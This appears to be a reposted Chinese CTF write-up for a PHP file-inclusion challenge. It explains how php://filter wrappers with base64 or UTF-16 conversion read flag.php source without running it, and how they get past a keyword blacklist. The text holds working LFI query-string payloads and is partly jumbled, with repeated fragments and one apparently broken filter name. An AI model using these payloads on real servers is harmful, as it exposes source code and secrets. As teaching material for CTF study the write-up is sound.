file_include
- [/code]php://filter:php的伪协议,用于对数据流进行过滤处理。
- 文件包含漏洞
- [code]//代码中存在类似 include()、require()、file_get_contents() 等函数,并且参数用户可控
- eg: include($_GET['file']); // 比如 ?file=index.php
复制代码为什么用 php://filter
如果直接包含 .php 文件,PHP 会执行它,而不是显示源码。
使用 php://filter 可以 避免代码执行,而是以 编码后的形式读取源码(如 Base64、UTF-16 等)。
resource= 这个参数是必须的,它指定了你要筛选过滤的数据流。
read= 对读取的数据流应用一个或多个过滤器(按顺序处理)- php://filter/read=convert.base64-encode/resource=flag.php
- #先读取flag.php,在对其内容进行base64编码
复制代码 write= 对写入的数据流应用一个或多个过滤器- php://filter/write=string.rot13/resource=test.txt
- #php://filter/write=string.rot13/resource=test.txt
复制代码 若未指定 read= 或 write=,过滤器会同时应用于读写链(根据操作类型自动适配)。
伪协议种类
file:// 访问本地文件系统
http:// 访问http(s)网址
ftp:// 访问ftp
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据
rar:// RAR压缩包
ogg:// 音频流
文件读取(无需执行php代码)
特征
系统允许读取文件,但可能:
过滤了 ../(目录穿越)
限制文件后缀(如只允许 .txt)
对文件内容做检查(如检测 ),导致无法看到源码内容(仅显示执行结果)。?filename=php://filter/convert.base64-encode/resource=flag.php#使用 convert.base64-encode#将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测
convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码#使用 convert.iconv.utf8.utf16#将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果:/*1.破坏 PHP 标签结构:原始 的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。例如:,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。[/code] php支持的字符编码
绕过WAF/黑名单
直接访问 flag.php 被拦截,但 php://filter 可能未被检测。- convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测
- convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码
复制代码 详解php://filter以及死亡绕过
php://filter的各种过滤器
wp
- ?filename=flag.php
- #直接读取 flag.php(无过滤器)
- #PHP 会直接解析 flag.php 中的代码(如执行 <?php $flag="FLAG{xxx}"; ?>),导致无法看到源码内容(仅显示执行结果)。
- ?filename=php://filter/convert.base64-encode/resource=flag.php
- #使用 convert.base64-encode
- #将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。
- ?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
- #使用 convert.iconv.utf8.utf16
- #将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果:
- /*
- 1.破坏 PHP 标签结构:
- 原始 <?php ?> 的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。
- 例如:<?php → UTF-16 可能变为 \x00<\x00?\x00p\x00h\x00p\x00(不可执行)。
- 2.输出转换后的“乱码”:
- 文件内容以 UTF-16 形式输出(包含大量空字节 \x00 和编码字符)。
- 若 flag.php 内容为 <?php $flag="FLAG{xxx}"; ?>,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。
复制代码 发现有过滤,提示“do not hack!" 猜测是黑名单检测敏感字符串
抓包字符集爆破- ?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
复制代码- ?filename=php://filter/convert.base64/resource=flag.php
复制代码 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |